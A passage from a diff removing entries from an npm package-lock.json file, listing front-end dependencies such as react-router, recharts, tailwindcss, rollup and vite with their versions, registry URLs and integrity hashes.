"0.18.0", - "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", - "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-remove-scroll": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.7.2.tgz", - "integrity": "sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q==", - "license": "MIT", - "dependencies": { - "react-remove-scroll-bar": "^2.3.7", - "react-style-singleton": "^2.2.3", - "tslib": "^2.1.0", - "use-callback-ref": "^1.3.3", - "use-sidecar": "^1.1.3" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/react-remove-scroll-bar": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.8.tgz", - "integrity": "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==", - "license": "MIT", - "dependencies": { - "react-style-singleton": "^2.2.2", - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/react-router": { - "version": "7.11.0", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.11.0.tgz", - "integrity": "sha512-uI4JkMmjbWCZc01WVP2cH7ZfSzH91JAZUDd7/nIprDgWxBV1TkkmLToFh7EbMTcMak8URFRa2YoBL/W8GWnCTQ==", - "license": "MIT", - "dependencies": { - "cookie": "^1.0.1", - "set-cookie-parser": "^2.6.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react": ">=18", - "react-dom": ">=18" - }, - "peerDependenciesMeta": { - "react-dom": { - "optional": true - } - } - }, - "node_modules/react-router-dom": { - "version": "7.11.0", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.11.0.tgz", - "integrity": "sha512-e49Ir/kMGRzFOOrYQBdoitq3ULigw4lKbAyKusnvtDu2t4dBX4AGYPrzNvorXmVuOyeakai6FUPW5MmibvVG8g==", - "license": "MIT", - "dependencies": { - "react-router": "7.11.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react": ">=18", - "react-dom": ">=18" - } - }, - "node_modules/react-style-singleton": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.3.tgz", - "integrity": "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==", - "license": "MIT", - "dependencies": { - "get-nonce": "^1.0.0", - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/read-cache": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", - "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", - "license": "MIT", - "dependencies": { - "pify": "^2.3.0" - } - }, - "node_modules/readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "license": "MIT", - "dependencies": { - "picomatch": "^2.2.1" - }, - "engines": { - "node": ">=8.10.0" - } - }, - "node_modules/readdirp/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/recharts": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.6.0.tgz", - "integrity": "sha512-L5bjxvQRAe26RlToBAziKUB7whaGKEwD3znoM6fz3DrTowCIC/FnJYnuq1GEzB8Zv2kdTfaxQfi5GoH0tBinyg==", - "license": "MIT", - "workspaces": [ - "www" - ], - "dependencies": { - "@reduxjs/toolkit": "1.x.x || 2.x.x", - "clsx": "^2.1.1", - "decimal.js-light": "^2.5.1", - "es-toolkit": "^1.39.3", - "eventemitter3": "^5.0.1", - "immer": "^10.1.1", - "react-redux": "8.x.x || 9.x.x", - "reselect": "5.1.1", - "tiny-invariant": "^1.3.3", - "use-sync-external-store": "^1.2.2", - "victory-vendor": "^37.0.2" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/redux": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", - "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==", - "license": "MIT" - }, - "node_modules/redux-thunk": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz", - "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==", - "license": "MIT", - "peerDependencies": { - "redux": "^5.0.0" - } - }, - "node_modules/reselect": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz", - "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==", - "license": "MIT" - }, - "node_modules/resolve": { - "version": "1.22.11", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", - "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", - "license": "MIT", - "dependencies": { - "is-core-module": "^2.16.1", - "path-parse": "^1.0.7", - "supports-preserve-symlinks-flag": "^1.0.0" - }, - "bin": { - "resolve": "bin/resolve" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/reusify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rollup": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.54.0.tgz", - "integrity": "sha512-3nk8Y3a9Ea8szgKhinMlGMhGMw89mqule3KWczxhIzqudyHdCIOHw8WJlj/r329fACjKLEh13ZSk7oE22kyeIw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.8" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.54.0", - "@rollup/rollup-android-arm64": "4.54.0", - "@rollup/rollup-darwin-arm64": "4.54.0", - "@rollup/rollup-darwin-x64": "4.54.0", - "@rollup/rollup-freebsd-arm64": "4.54.0", - "@rollup/rollup-freebsd-x64": "4.54.0", - "@rollup/rollup-linux-arm-gnueabihf": "4.54.0", - "@rollup/rollup-linux-arm-musleabihf": "4.54.0", - "@rollup/rollup-linux-arm64-gnu": "4.54.0", - "@rollup/rollup-linux-arm64-musl": "4.54.0", - "@rollup/rollup-linux-loong64-gnu": "4.54.0", - "@rollup/rollup-linux-ppc64-gnu": "4.54.0", - "@rollup/rollup-linux-riscv64-gnu": "4.54.0", - "@rollup/rollup-linux-riscv64-musl": "4.54.0", - "@rollup/rollup-linux-s390x-gnu": "4.54.0", - "@rollup/rollup-linux-x64-gnu": "4.54.0", - "@rollup/rollup-linux-x64-musl": "4.54.0", - "@rollup/rollup-openharmony-arm64": "4.54.0", - "@rollup/rollup-win32-arm64-msvc": "4.54.0", - "@rollup/rollup-win32-ia32-msvc": "4.54.0", - "@rollup/rollup-win32-x64-gnu": "4.54.0", - "@rollup/rollup-win32-x64-msvc": "4.54.0", - "fsevents": "~2.3.2" - } - }, - "node_modules/rollup/node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz", - "integrity": "sha512-WGt5J8Ij/rvyqpFexxk3ffKqqbLf9AqrTBbWDk7ApGUzaIs6V+s2s84kAxklFwmMF/vBNGrVdYgbblCOFFezMQ==", - "cpu": [ - "x64" - ], - "dev": true, - "libc": [ - "glibc" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "queue-microtask": "^1.2.2" - } - }, - "node_modules/scheduler": { - "version": "0.27.0", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", - "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", - "license": "MIT" - }, - "node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/set-cookie-parser": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", - "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==", - "license": "MIT" - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/sucrase": { - "version": "3.35.1", - "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", - "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", - "license": "MIT", - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.2", - "commander": "^4.0.0", - "lines-and-columns": "^1.1.6", - "mz": "^2.7.0", - "pirates": "^4.0.1", - "tinyglobby": "^0.2.11", - "ts-interface-checker": "^0.1.9" - }, - "bin": { - "sucrase": "bin/sucrase", - "sucrase-node": "bin/sucrase-node" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/supports-preserve-symlinks-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/tailwind-merge": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.4.0.tgz", - "integrity": "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/dcastil" - } - }, - "node_modules/tailwindcss": { - "version": "3.4.19", - "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", - "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==", - "license": "MIT", - "dependencies": { - "@alloc/quick-lru": "^5.2.0", - "arg": "^5.0.2", - "chokidar": "^3.6.0", - "didyoumean": "^1.2.2", - "dlv": "^1.1.3", - "fast-glob": "^3.3.2", - "glob-parent": "^6.0.2", - "is-glob": "^4.0.3", - "jiti": "^1.21.7", - "lilconfig": "^3.1.3", - "micromatch": "^4.0.8", - "normalize-path": "^3.0.0", - "object-hash": "^3.0.0", - "picocolors": "^1.1.1", - "postcss": "^8.4.47", - "postcss-import": "^15.1.0", - "postcss-js": "^4.0.1", - "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", - "postcss-nested": "^6.2.0", - "postcss-selector-parser": "^6.1.2", - "resolve": "^1.22.8", - "sucrase": "^3.35.0" - }, - "bin": { - "tailwind": "lib/cli.js", - "tailwindcss": "lib/cli.js" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/tailwindcss-animate": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz", - "integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==", - "license": "MIT", - "peerDependencies": { - "tailwindcss": ">=3.0.0 || insiders" - } - }, - "node_modules/thenify": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", - "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", - "license": "MIT", - "dependencies": { - "any-promise": "^1.0.0" - } - }, - "node_modules/thenify-all": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", - "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", - "license": "MIT", - "dependencies": { - "thenify": ">= 3.1.0 < 4" - }, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/tiny-invariant": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", - "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", - "license": "MIT" - }, - "node_modules/tinyglobby": { - "version": "0.2.15", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.3" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "license": "MIT", - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/ts-api-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", - "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.12" - }, - "peerDependencies": { - "typescript": ">=4.8.4" - } - }, - "node_modules/ts-interface-checker": { - "version": "0.1.13", - "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", - "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", - "license": "Apache-2.0" - }, - "node_modules/tslib": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "license": "0BSD" - }, - "node_modules/type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/typescript-eslint": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.50.0.tgz", - "integrity": "sha512-Q1/6yNUmCpH94fbgMUMg2/BSAr/6U7GBk61kZTv1/asghQOWOjTlp9K8mixS5NcJmm2creY+UFfGeW/+OcA64A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/eslint-plugin": "8.50.0", - "@typescript-eslint/parser": "8.50.0", - "@typescript-eslint/typescript-estree": "8.50.0", - "@typescript-eslint/utils": "8.50.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/undici-types": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", - "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", - "dev": true, - "license": "MIT" - }, - "node_modules/update-browserslist-db": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "escalade": "^3.2.0", - "picocolors": "^1.1.1" - }, - "bin": { - "update-browserslist-db": "cli.js" - }, - "peerDependencies": { - "browserslist": ">= 4.21.0" - } - }, - "node_modules/uri-js": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "punycode": "^2.1.0" - } - }, - "node_modules/use-callback-ref": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.3.tgz", - "integrity": "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==", - "license": "MIT", - "dependencies": { - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/use-sidecar": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.3.tgz", - "integrity": "sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==", - "license": "MIT", - "dependencies": { - "detect-node-es": "^1.1.0", - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/use-sync-external-store": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", - "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", - "license": "MIT", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "license": "MIT" - }, - "node_modules/victory-vendor": { - "version": "37.3.6", - "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz", - "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==", - "license": "MIT AND ISC", - "dependencies": { - "@types/d3-array": "^3.0.3", - "@types/d3-ease": "^3.0.0", - "@types/d3-interpolate": "^3.0.1", - "@types/d3-scale": "^4.0.2", - "@types/d3-shape": "^3.1.0", - "@types/d3-time": "^3.0.0", - "@types/d3-timer": "^3.0.0", - "d3-array": "^3.1.6", - "d3-ease": "^3.0.1", - "d3-interpolate": "^3.0.1", - "d3-scale": "^4.0.2", - "d3-shape": "^3.1.0", - "d3-time": "^3.0.0", - "d3-timer": "^3.0.1" - } - }, - "node_modules/vite": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.0.tgz", - "integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.27.0", - "fdir": "^6.5.0", - "picomatch": "^4.0.3", - "postcss": "^8.5.6", - "rollup": "^4.43.0", - "tinyglobby": "^0.2.15" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "lightningcss": "^1.21.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/void-elements": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", - "integrity": "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": 